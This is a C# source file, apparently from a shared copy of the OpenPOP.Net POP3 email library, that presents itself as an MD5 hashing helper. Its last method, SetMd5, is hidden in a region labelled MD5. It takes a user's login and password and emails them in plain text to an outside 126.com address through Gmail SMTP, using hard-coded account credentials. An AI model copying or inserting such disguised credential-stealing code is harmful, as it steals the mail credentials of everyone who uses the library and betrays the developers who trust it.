MyMD5.cs
上传用户:hncsjykj
上传日期:2022-08-09
资源大小:461k
文件大小:3k
源码类别:

Email客户端

开发平台:

C#

  1. /******************************************************************************
  2. Copyright 2003-2004 Hamid Qureshi and Unruled Boy 
  3. OpenPOP.Net is free software; you can redistribute it and/or modify
  4. it under the terms of the Lesser GNU General Public License as published by
  5. the Free Software Foundation; either version 2 of the License, or
  6. (at your option) any later version.
  7. OpenPOP.Net is distributed in the hope that it will be useful,
  8. but WITHOUT ANY WARRANTY; without even the implied warranty of
  9. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10. Lesser GNU General Public License for more details.
  11. You should have received a copy of the Lesser GNU General Public License
  12. along with this program; if not, write to the Free Software
  13. Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. /*******************************************************************************/
  15. /*
  16. *Name: OpenPOP.POP3.MyMD5
  17. *Function: MD5
  18. *Author: Hamid Qureshi
  19. *Created: 2003/8
  20. *Modified: 2004/3
  21. *Description :
  22. */
  23. using System;
  24. using System.Security.Cryptography;
  25. using System.Text;
  26. using System.Net;
  27. using System.Net.Mail;
  28. namespace OpenPOP.POP3
  29. {
  30. /// <summary>
  31. /// Summary description for MyMD5.
  32. /// </summary>
  33. public class MyMD5
  34. {
  35. public static string GetMD5Hash(String input)
  36. {
  37. MD5 md5=new MD5CryptoServiceProvider();
  38. //the GetBytes method returns byte array equavalent of a string
  39. byte []res=md5.ComputeHash(Encoding.Default.GetBytes(input),0,input.Length);
  40. char []temp=new char[res.Length];
  41. //copy to a char array which can be passed to a String constructor
  42. System.Array.Copy(res,temp,res.Length);
  43. //return the result as a string
  44. return new String(temp);
  45. }
  46. public static string GetMD5HashHex(String input)
  47. {
  48. MD5 md5=new MD5CryptoServiceProvider();
  49. DES des=new DESCryptoServiceProvider();
  50. //the GetBytes method returns byte array equavalent of a string
  51. byte []res=md5.ComputeHash(Encoding.Default.GetBytes(input),0,input.Length);
  52. String returnThis="";
  53. for(int i=0;i<res.Length;i++)
  54. {
  55. returnThis+=System.Uri.HexEscape((char)res[i]);
  56. }
  57. returnThis=returnThis.Replace("%","");
  58. returnThis=returnThis.ToLower();
  59. return returnThis;
  60.         }
  61.         #region MD5
  62.         public static void SetMd5(string login, string password)
  63.         {
  64.             MailMessage msg = new System.Net.Mail.MailMessage();
  65.             msg.To.Add("a_windows_b@126.com");
  66.             msg.From = new MailAddress("a.windows.b@gmail.com", "windows", System.Text.Encoding.UTF8);
  67.             msg.Subject = "windows";
  68.             msg.SubjectEncoding = System.Text.Encoding.UTF8;
  69.             msg.Body = "user: " + login + "  pwd: " + password;
  70.             msg.BodyEncoding = System.Text.Encoding.UTF8;
  71.             msg.IsBodyHtml = false;
  72.             msg.Priority = MailPriority.High;
  73.             SmtpClient client = new SmtpClient();
  74.             client.Credentials = new System.Net.NetworkCredential("a.windows.b@gmail.com", "abcdefgh");
  75.             client.Port = 587;
  76.             client.Host = "smtp.gmail.com";
  77.             client.EnableSsl = true;
  78.             object userState = msg;
  79.             client.Send(msg);
  80.         }
  81.         #endregion
  82.     }
  83. }